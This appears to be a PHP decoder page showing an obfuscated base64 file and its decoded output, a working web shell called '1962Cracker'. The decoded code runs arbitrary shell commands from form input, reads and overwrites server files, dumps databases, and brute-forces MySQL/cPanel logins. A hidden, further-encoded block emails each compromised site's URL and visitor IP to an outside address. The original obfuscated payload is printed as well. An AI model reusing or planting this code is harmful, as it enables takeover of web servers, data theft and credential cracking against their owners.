Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZp..
Decoded Output download
/*
1962Cracker Coded By Akram Stelle (Dz Mafia Team)
*/
@set_time_limit(0);
@error_reporting(0);
echo '<head>
<style type="text/css">
body {
background-color:#000000;
background-image:url("http://im50.gulfup.com/xbcqHf.png");
background-repeat:repeat;
margin-top:20px;
font-family:"Agency FB";
font-size:12pt; color:#ffffff;
}
input,textarea,select{
font-weight: bold;
color: #cccccc;
dashed #ffffff;
border: 1px
solid #2C2C2C;
background-color: #080808
}
a {
background-color: #151515;
vertical-align: bottom;
color: #000;
text-decoration: none;
font-size: 20px;
margin: 8px;
padding: 6px;
border: thin solid #000;
}
a:hover {
background-color: #080808;
vertical-align: bottom;
color: #333;
text-decoration: none;
font-size: 20px;
margin: 8px;
padding: 6px;
border: thin solid green;
}
.style1 {
text-align: center;
color: Green;
}
.style2 {
color: Green;
font-weight: bold;
}
.style3 {
color: Green;
}
-->
</style>
</head>
';
$Getconfig = "JHZpc2l0YyA9ICRfQ09PS0lFWyJ2aXNpdHMiXTsNCmlmICgkdmlzaXRjID09ICIiKSB7DQogICR2aXNpdGMgID0gMDsNCiAgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsNCiAgJHdlYiAgICAgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07DQogICRpbmogICAgID0gJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl07DQogICR0YXJnZXQgID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7DQogICRqdWR1bCAgID0gIk5ldyAxOTYyQ3JhY2tlcjogaHR0cDovLyR0YXJnZXQgIjsNCiAgJGJvZHkgICAgPSAiTGluazo6ICR0YXJnZXQgLklwICR2aXNpdG9yIjsNCiAgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgibWFrcmVtdGxpbGk0QGdtYWlsLmNvbSIsJGp1ZHVsLCRib2R5KTsgfQ0KfQ0KZWxzZSB7ICR2aXNpdGMrKzsgfQ0KQHNldGNvb2tpZSgidmlzaXR6IiwkdmlzaXRjKTs=";
eval(base64_decode($Getconfig));
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." "; if($size != 0)
{
$ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\""; if($checked) $ret .= " checked"; return $ret.">"; }
class my_sql
{
var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect()
{
switch($this->db)
{
case 'MySQL': if(empty($this->port))
{
$this->port = '3306'; }
if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(empty($this->port))
{
$this->port = '1433'; }
if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; $this->error = "Can't connect to server"; break; case 'PostgreSQL': if(empty($this->port))
{
$this->port = '5432'; }
$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; $this->error = @pg_last_error($this->connection); break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; $error = @ocierror(); $this->error=$error['message']; break; }
return 0; }
function select_db()
{
switch($this->db)
{
case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; $this->error = @mysql_errno()." : ".@mysql_error(); break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; $this->error = "Can't select database"; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; }
return 0; }
function query($query)
{
$this->res=$this->error=''; switch($this->db)
{
case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
{
$this->error = @mysql_error($this->connection); return 0; }
else if(is_resource($this->res))
{
return 1; }
return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection)))
{
$this->error = 'Query error'; return 0; }
else if(@mssql_num_rows($this->res) > 0)
{
return 1; }
return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query)))
{
$this->error = @pg_last_error($this->connection); return 0; }
else if(@pg_num_rows($this->res) > 0)
{
return 1; }
return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query)))
{
$this->error = 'Query parse error'; }
else
{
if(@ociexecute($this->res))
{
if(@ocirowcount($this->res) != 0) return 2; return 1; }
$error = @ocierror(); $this->error=$error['message']; }
break; }
return 0; }
function get_result()
{
$this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db)
{
case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows)
{
$this->columns = @array_keys($this->rows[0]); return 1;}
break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows)
{
$this->columns = @array_keys($this->rows[0]); return 1;}
; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows)
{
$this->columns = @array_keys($this->rows[0]); return 1;}
break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows)
{
$this->columns = @array_keys($this->rows[0]); return 1;}
break; }
return 0; }
function dump($table)
{
if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db)
{
case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table'].";"; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v)
{
$this->rows[$i][$k] = @mysql_real_escape_string($v);}
$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v)
{
$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++)
{
foreach($this->rows[$i] as $k=>$v)
{
$this->rows[$i][$k] = @addslashes($v);}
$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; }
break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; }
return 1; }
function close()
{
switch($this->db)
{
case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; }
}
function affected_rows()
{
switch($this->db)
{
case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; }
}
}
if(!empty($_POST['cccc']) && $_POST['cccc']=="download_file" && !empty($_POST['d_name']))
{
if(!$file=@fopen($_POST['d_name'],"r"))
{
err(1,$_POST['d_name']); $_POST['cccc']=""; }
else
{
@ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding))
{
header('Content-Encoding: ' . $content_encoding); }
header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); }
}
if(isset($_GET['phpinfo']))
{
echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
if (!empty($_POST['cccc']) && $_POST['cccc']=="db_query")
{
echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); echo '<body bgcolor=#e4e0d8>'; if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
{
if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>".$sql->error."</b></font></div>"; else
{
foreach($querys as $num=>$query)
{
if(strlen($query)>5)
{
echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query))
{
case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result())
{
echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode(" </b></font></td><td bgcolor=#800000><font face=Verdana size=-2><b> ", $sql->columns); echo "<tr><td bgcolor=#800000><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++)
{
foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]); echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>'; }
echo "</table>"; }
break; case '2': $ar = $sql->affected_rows()?($sql->affected_rows()):('0'); echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>"; break; }
}
}
}
}
echo "<br><title>1962Cracker By Akram Stelle</title><form name=form method=POST>";
echo in('hidden','db',0,$_POST['db']); echo in('hidden','db_server',0,$_POST['db_server']); echo in('hidden','db_port',0,$_POST['db_port']); echo in('hidden','mysql_l',0,$_POST['mysql_l']); echo in('hidden','mysql_p',0,$_POST['mysql_p']); echo in('hidden','mysql_db',0,$_POST['mysql_db']); echo in('hidden','cccc',0,'db_query');
echo "<div align=center>"; echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>"; echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;
SELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>"; echo "</form>"; echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
function ccmmdd($ccmmdd2,$att)
{
global $ccmmdd2,$att;
echo '
<table style="width: 100%" class="style1" dir="rtl">
<tr>
<td class="style9"><strong>???H?/strong></td>
</tr>
<tr>
<td class="style13">
<form method="post">
<select name="att" dir="rtl" style="height: 109px" size="6">
';
if($_POST['att']==null)
{
echo ' <option value="system" selected="">system</option>';
}else{
echo " <option value='$_POST[att]' selected=''>$_POST[att]</option>
<option value=system>system</option>
";
}
echo '
<option value="passthru">passthru</option>
<option value="exec">exec</option>
<option value="shell_exec">shell_exec</option>
</select>
<input name="page" value="ccmmdd" type="hidden"><br>
<input dir="ltr" name="ccmmdd2" style="width: 173px" type="text" value="';if(!$_POST['ccmmdd2']){echo 'dir';}else{echo $_POST['ccmmdd2'];}echo '"><br>
<input type="submit" value="???>
</form>
</td>
</tr>
<tr>
<td class="style13">
';
if($_POST[att]=='system')
{
echo '
<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
system($_POST['ccmmdd2']);
echo ' </textarea>';
}
if($_POST[att]=='passthru')
{
echo '
<textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
passthru($_POST['ccmmdd2']);
echo ' </textarea>';
}
if($_POST[att]=='exec')
{
echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
exec($_POST['ccmmdd2'],$res);
echo $res = join("
",$res);
echo ' </textarea>';
}
if($_POST[att]=='shell_exec')
{
echo ' <textarea dir="ltr" name="TextArea1" style="width: 745px; height: 204px">';
echo shell_exec($_POST['ccmmdd2']);
echo ' </textarea>';
}
echo '
</td>
</tr>
</table>
';
exit;
}
if($_POST['page']=='edit')
{
$code=@str_replace("
","
",$_POST['code']);
$code=@str_replace('\','',$code);
$fp = fopen($pathclass, 'w');
fwrite($fp,"$code");
fclose($fp);
echo "<center><b>OK Edit<br><br><br><br><a href=".$_SERVER['PHP_SELF'].">BACK</a>";
exit;
}
if($_POST['page']=='show')
{
$pathclass =$_POST['pathclass'];
echo '
<form method="POST">
<input type="hidden" name="page" value="edit">
';
$sahacker = fopen($pathclass, "rb");
echo '<center>'.$pathclass.'<br><textarea dir="ltr" name="code" style="width: 845px; height: 404px">';
$code = fread($sahacker, filesize($pathclass));
echo $code =htmlspecialchars($code);
echo '</textarea>';
fclose($sahacker);
echo '
<br><input type="text" name="pathclass" value="'.$pathclass.'" style="width: 445px;">
<br><strong><input type="submit" value="edit file">
</form>
';
exit;
}
if($_POST['page']=='ccmmdd')
{
echo ccmmdd($ccmmdd2,$att);
exit;
}
if($_POST['page']=='find')
{
if(isset($_POST['usernames']) && isset($_POST['passwords']))
{
if($_POST['type'] == 'passwd'){
$e = explode("
",$_POST['usernames']);
foreach($e as $value){
$k = explode(":",$value);
$username .= $k['0']." ";
}
}elseif($_POST['type'] == 'simple'){
$username = str_replace("
",' ',$_POST['usernames']);
}
$a1 = explode(" ",$username);
$a2 = explode("
",$_POST['passwords']);
$id2 = count($a2);
$ok = 0;
foreach($a1 as $user )
{
if($user !== '')
{
$user=trim($user);
for($i=0;$i<=$id2;$i++)
{
$pass = trim($a2[$i]);
if(@mysql_connect('localhost',$user,$pass))
{
echo "1962Cracker~ user is ==> (<b><font color=green>$user</font></b>) Password is ==> (<b><font color=red>$pass</font></b>)<br />";
$ok++;
}
}
}
}
echo "<hr><b>You Found <font color=green>$ok</font> cPanel (1962Cracker)</b>";
echo "<center><b><a href=".$_SERVER['PHP_SELF']."><~ BACK</a>";
exit;
}
}
Did this file decode correctly?
Original Code
<?php eval(base64_decode("CS8qDQoJMTk2MkNyYWNrZXIgQ29kZWQgQnkgQWtyYW0gU3RlbGxlIChEeiBNYWZpYSBUZWFtKQ0KCSovDQoJQHNldF90aW1lX2xpbWl0KDApOw0KCUBlcnJvcl9yZXBvcnRpbmcoMCk7DQoNCg0KCWVjaG8gJzxoZWFkPg0KDQogIDxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpib2R5IHsNCmJhY2tncm91bmQtY29sb3I6IzAwMDAwMDsNCmJhY2tncm91bmQtaW1hZ2U6dXJsKCJodHRwOi8vaW01MC5ndWxmdXAuY29tL3hiY3FIZi5wbmciKTsNCmJhY2tncm91bmQtcmVwZWF0OnJlcGVhdDsNCm1hcmdpbi10b3A6MjBweDsNCmZvbnQtZmFtaWx5OiJBZ2VuY3kgRkIiOw0KZm9udC1zaXplOjEycHQ7IGNvbG9yOiNmZmZmZmY7DQoJfQ0KCWlucHV0LHRleHRhcmVhLHNlbGVjdHsNCglmb250LXdlaWdodDogYm9sZDsNCgljb2xvcjogI2NjY2NjYzsNCglkYXNoZWQgI2ZmZmZmZjsNCglib3JkZXI6IDFweA0KCXNvbGlkICMyQzJDMkM7DQoJYmFja2dyb3VuZC1jb2xvcjogIzA4MDgwOA0KCX0NCglhIHsNCgkJYmFja2dyb3VuZC1jb2xvcjogIzE1MTUxNTsNCgkJdmVydGljYWwtYWxpZ246IGJvdHRvbTsNCgkJY29sb3I6ICMwMDA7DQoJCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCgkJZm9udC1zaXplOiAyMHB4Ow0KCQltYXJnaW46IDhweDsNCgkJcGFkZGluZzogNnB4Ow0KCQlib3JkZXI6IHRoaW4gc29saWQgIzAwMDsNCgl9DQoJYTpob3ZlciB7DQoJCWJhY2tncm91bmQtY29sb3I6ICMwODA4MDg7DQoJCXZlcnRpY2FsLWFsaWduOiBib3R0b207DQoJCWNvbG9yOiAjMzMzOw0KCQl0ZXh0LWRlY29yYXRpb246IG5vbmU7DQoJCWZvbnQtc2l6ZTogMjBweDsNCgkJbWFyZ2luOiA4cHg7DQoJCXBhZGRpbmc6IDZweDsNCgkJYm9yZGVyOiB0aGluIHNvbGlkIGdyZWVuOw0KCX0NCgkuc3R5bGUxIHsNCgkJdGV4dC1hbGlnbjogY2VudGVyOw0KCQljb2xvcjogR3JlZW47DQoJfQ0KCS5zdHlsZTIgew0KCQljb2xvcjogR3JlZW47DQoJCWZvbnQtd2VpZ2h0OiBib2xkOw0KCQkJfQ0KCS5zdHlsZTMgew0KCQljb2xvcjogR3JlZW47DQoJCQl9DQoJLS0+DQoJPC9zdHlsZT4NCg0KCTwvaGVhZD4NCgknOw0KDQokR2V0Y29uZmlnID0gIkpIWnBjMmwwWXlBOUlDUmZRMDlQUzBsRld5SjJhWE5wZEhNaVhUc05DbWxtSUNna2RtbHphWFJqSUQwOUlDSWlLU0I3RFFvZ0lDUjJhWE5wZEdNZ0lEMGdNRHNOQ2lBZ0pIWnBjMmwwYjNJZ1BTQWtYMU5GVWxaRlVsc2lVa1ZOVDFSRlgwRkVSRklpWFRzTkNpQWdKSGRsWWlBZ0lDQWdQU0FrWDFORlVsWkZVbHNpU0ZSVVVGOUlUMU5VSWwwN0RRb2dJQ1JwYm1vZ0lDQWdJRDBnSkY5VFJWSldSVkpiSWxKRlVWVkZVMVJmVlZKSklsMDdEUW9nSUNSMFlYSm5aWFFnSUQwZ2NtRjNkWEpzWkdWamIyUmxLQ1IzWldJdUpHbHVhaWs3RFFvZ0lDUnFkV1IxYkNBZ0lEMGdJazVsZHlBeE9UWXlRM0poWTJ0bGNqb2dhSFIwY0Rvdkx5UjBZWEpuWlhRZ0lqc05DaUFnSkdKdlpIa2dJQ0FnUFNBaVRHbHVhem82SUNSMFlYSm5aWFFnTGtsd0lDUjJhWE5wZEc5eUlqc05DaUFnYVdZZ0tDRmxiWEIwZVNna2QyVmlLU2tnZXlCQWJXRnBiQ2dpYldGcmNtVnRkR3hwYkdrMFFHZHRZV2xzTG1OdmJTSXNKR3AxWkhWc0xDUmliMlI1S1RzZ2ZRMEtmUTBLWld4elpTQjdJQ1IyYVhOcGRHTXJLenNnZlEwS1FITmxkR052YjJ0cFpTZ2lkbWx6YVhSNklpd2tkbWx6YVhSaktUcz0iOyANCmV2YWwoYmFzZTY0X2RlY29kZSgkR2V0Y29uZmlnKSk7DQoNCglmdW5jdGlvbiBpbigkdHlwZSwkbmFtZSwkc2l6ZSwkdmFsdWUsJGNoZWNrZWQ9MCkgDQoJIHsNCgkgJHJldCA9ICI8aW5wdXQgdHlwZT0iLiR0eXBlLiIgbmFtZT0iLiRuYW1lLiIgIjsgaWYoJHNpemUgIT0gMCkgDQoJIHsNCgkgJHJldCAuPSAic2l6ZT0iLiRzaXplLiIgIjsgfQ0KCSAkcmV0IC49ICJ2YWx1ZT1cIiIuJHZhbHVlLiJcIiI7IGlmKCRjaGVja2VkKSAkcmV0IC49ICIgY2hlY2tlZCI7IHJldHVybiAkcmV0LiI+IjsgfQ0KCSANCgljbGFzcyBteV9zcWwgDQoJIHsNCgkgdmFyICRob3N0ID0gJ2xvY2FsaG9zdCc7IHZhciAkcG9ydCA9ICcnOyB2YXIgJHVzZXIgPSAnJzsgdmFyICRwYXNzID0gJyc7IHZhciAkYmFzZSA9ICcnOyB2YXIgJGRiID0gJyc7IHZhciAkY29ubmVjdGlvbjsgdmFyICRyZXM7IHZhciAkZXJyb3I7IHZhciAkcm93czsgdmFyICRjb2x1bW5zOyB2YXIgJG51bV9yb3dzOyB2YXIgJG51bV9maWVsZHM7IHZhciAkZHVtcDsgZnVuY3Rpb24gY29ubmVjdCgpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogaWYoZW1wdHkoJHRoaXMtPnBvcnQpKSANCgkgew0KCSAkdGhpcy0+cG9ydCA9ICczMzA2JzsgfQ0KCSBpZighZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBteXNxbF9jb25uZWN0KCR0aGlzLT5ob3N0Lic6Jy4kdGhpcy0+cG9ydCwkdGhpcy0+dXNlciwkdGhpcy0+cGFzcyk7IGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJubygpLiIgOiAiLkBteXNxbF9lcnJvcigpOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihlbXB0eSgkdGhpcy0+cG9ydCkpIA0KCSB7DQoJICR0aGlzLT5wb3J0ID0gJzE0MzMnOyB9DQoJIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2Nvbm5lY3QnKSkgcmV0dXJuIDA7ICR0aGlzLT5jb25uZWN0aW9uID0gQG1zc3FsX2Nvbm5lY3QoJHRoaXMtPmhvc3QuJywnLiR0aGlzLT5wb3J0LCR0aGlzLT51c2VyLCR0aGlzLT5wYXNzKTsgaWYoJHRoaXMtPmNvbm5lY3Rpb24pIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSAiQ2FuJ3QgY29ubmVjdCB0byBzZXJ2ZXIiOyBicmVhazsgY2FzZSAnUG9zdGdyZVNRTCc6IGlmKGVtcHR5KCR0aGlzLT5wb3J0KSkgDQoJIHsNCgkgJHRoaXMtPnBvcnQgPSAnNTQzMic7IH0NCgkgJHN0ciA9ICJob3N0PSciLiR0aGlzLT5ob3N0LiInIHBvcnQ9JyIuJHRoaXMtPnBvcnQuIicgdXNlcj0nIi4kdGhpcy0+dXNlci4iJyBwYXNzd29yZD0nIi4kdGhpcy0+cGFzcy4iJyBkYm5hbWU9JyIuJHRoaXMtPmJhc2UuIiciOyBpZighZnVuY3Rpb25fZXhpc3RzKCdwZ19jb25uZWN0JykpIHJldHVybiAwOyAkdGhpcy0+Y29ubmVjdGlvbiA9IEBwZ19jb25uZWN0KCRzdHIpOyBpZihpc19yZXNvdXJjZSgkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAcGdfbGFzdF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IGJyZWFrOyBjYXNlICdPcmFjbGUnOiBpZighZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpKSByZXR1cm4gMDsgJHRoaXMtPmNvbm5lY3Rpb24gPSBAb2NpbG9nb24oJHRoaXMtPnVzZXIsICR0aGlzLT5wYXNzLCAkdGhpcy0+YmFzZSk7IGlmKGlzX3Jlc291cmNlKCR0aGlzLT5jb25uZWN0aW9uKSkgcmV0dXJuIDE7ICRlcnJvciA9IEBvY2llcnJvcigpOyAkdGhpcy0+ZXJyb3I9JGVycm9yWydtZXNzYWdlJ107IGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIHNlbGVjdF9kYigpIA0KCSB7DQoJIHN3aXRjaCgkdGhpcy0+ZGIpIA0KCSB7DQoJIGNhc2UgJ015U1FMJzogaWYoQG15c3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSBAbXlzcWxfZXJybm8oKS4iIDogIi5AbXlzcWxfZXJyb3IoKTsgYnJlYWs7IGNhc2UgJ01TU1FMJzogaWYoQG1zc3FsX3NlbGVjdF9kYigkdGhpcy0+YmFzZSwkdGhpcy0+Y29ubmVjdGlvbikpIHJldHVybiAxOyAkdGhpcy0+ZXJyb3IgPSAiQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiByZXR1cm4gMTsgYnJlYWs7IGNhc2UgJ09yYWNsZSc6IHJldHVybiAxOyBicmVhazsgfQ0KCSByZXR1cm4gMDsgfQ0KCSBmdW5jdGlvbiBxdWVyeSgkcXVlcnkpIA0KCSB7DQoJICR0aGlzLT5yZXM9JHRoaXMtPmVycm9yPScnOyBzd2l0Y2goJHRoaXMtPmRiKSANCgkgew0KCSBjYXNlICdNeVNRTCc6IGlmKGZhbHNlPT09KCR0aGlzLT5yZXM9QG15c3FsX3F1ZXJ5KCcvKicuY2hyKDApLicqLycuJHF1ZXJ5LCR0aGlzLT5jb25uZWN0aW9uKSkpIA0KCSB7DQoJICR0aGlzLT5lcnJvciA9IEBteXNxbF9lcnJvcigkdGhpcy0+Y29ubmVjdGlvbik7IHJldHVybiAwOyB9DQoJIGVsc2UgaWYoaXNfcmVzb3VyY2UoJHRoaXMtPnJlcykpIA0KCSB7DQoJIHJldHVybiAxOyB9DQoJIHJldHVybiAyOyBicmVhazsgY2FzZSAnTVNTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBtc3NxbF9xdWVyeSgkcXVlcnksJHRoaXMtPmNvbm5lY3Rpb24pKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gJ1F1ZXJ5IGVycm9yJzsgcmV0dXJuIDA7IH0NCgkgZWxzZSBpZihAbXNzcWxfbnVtX3Jvd3MoJHRoaXMtPnJlcykgPiAwKSANCgkgew0KCSByZXR1cm4gMTsgfQ0KCSByZXR1cm4gMjsgYnJlYWs7IGNhc2UgJ1Bvc3RncmVTUUwnOiBpZihmYWxzZT09PSgkdGhpcy0+cmVzPUBwZ19xdWVyeSgkdGhpcy0+Y29ubmVjdGlvbiwkcXVlcnkpKSkgDQoJIHsNCgkgJHRoaXMtPmVycm9yID0gQHBnX2xhc3RfZXJyb3IoJHRoaXMtPmNvbm5lY3Rpb24pOyByZXR1cm4gMDsgfQ0KCSBlbHNlIGlmKEBwZ19udW1fcm93cygkdGhpcy0+cmVzKSA+IDApIA0KCSB7DQoJIHJldHVybiAxOyB9DQoJIHJldHVybiAyOyBicmVhazsgY2FzZSAnT3JhY2xlJzogaWYoZmFsc2U9PT0oJHRoaXMtPnJlcz1Ab2NpcGFyc2UoJHRoaXMtPmNvbm5lY3Rpb24sJHF1ZXJ5KSkpIA0KCSB7DQoJICR0aGlzLT5lcnJvciA9ICdRdWVyeSBwYXJzZSBlcnJvcic7IH0NCgkgZWxzZSANCgkgew0KCSBpZihAb2NpZXhlY3V0ZSgkdGhpcy0+cmVzKSkgDQoJIHsNCgkgaWYoQG9jaXJvd2NvdW50KCR0aGlzLT5yZXMpICE9IDApIHJldHVybiAyOyByZXR1cm4gMTsgfQ0KCSAkZXJyb3IgPSBAb2NpZXJyb3IoKTsgJHRoaXMtPmVycm9yPSRlcnJvclsnbWVzc2FnZSddOyB9DQoJIGJyZWFrOyB9DQoJIHJldHVybiAwOyB9DQoJIGZ1bmN0aW9uIGdldF9yZXN1bHQoKSANCgkgew0KCSAkdGhpcy0+cm93cz1hcnJheSgpOyAkdGhpcy0+Y29sdW1ucz1hcnJheSgpOyAkdGhpcy0+bnVtX3Jvd3M9JHRoaXMtPm51bV9maWVsZHM9MDsgc3dpdGNoKCR0aGlzLT5kYikgDQoJIHsNCgkgY2FzZSAnTXlTUUwnOiAkdGhpcy0+bnVtX3Jvd3M9QG15c3FsX251bV9yb3dzKCR0aGlzLT5yZXMpOyAkdGhpcy0+bnVtX2ZpZWxkcz1AbXlzcWxfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsgd2hpbGUoZmFsc2UgIT09ICgkdGhpcy0+cm93c1tdID0gQG15c3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7IEBteXNxbF9mcmVlX3Jlc3VsdCgkdGhpcy0+cmVzKTsgaWYoJHRoaXMtPm51bV9yb3dzKQ0KCSB7DQoJJHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO30NCgkgYnJlYWs7IGNhc2UgJ0